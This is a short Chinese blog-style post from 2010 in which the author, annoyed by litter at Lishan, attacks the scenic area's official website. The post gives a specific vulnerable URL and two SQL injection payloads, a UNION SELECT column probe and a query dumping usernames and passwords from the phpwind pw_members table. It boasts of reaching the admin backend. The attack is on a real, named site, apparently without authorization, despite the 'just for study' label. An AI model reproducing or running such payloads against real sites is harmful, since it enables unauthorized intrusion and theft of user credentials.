// by redice 2010.7.26
// redice@163.com
// just for study

昨天终于去了闻名遐迩的骊山，看到了漫山的垃圾...

骊山的官网：http://www.xalishan.com

http://www.xalishan.com/lxs/lxzn.php?c_id=251  注入点之一

（1）确定前一查询的字段数及页面显示哪个字段：
http://www.xalishan.com/lxs/lxzn.php?c_id=251 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21



文章标题对应13字段，文章链接中的id对应1字段

（2）将1和13字段替换为username和password，查询pw_members表 （phpwind的用户表）
http://www.xalishan.com/lxs/lxzn.php?c_id=251 and 1=2 union select username,2,3,4,5,6,7,8,9,10,11,12,password,14,15,16,17,18,19,20,21 FROM pw_members



进后台截图留念：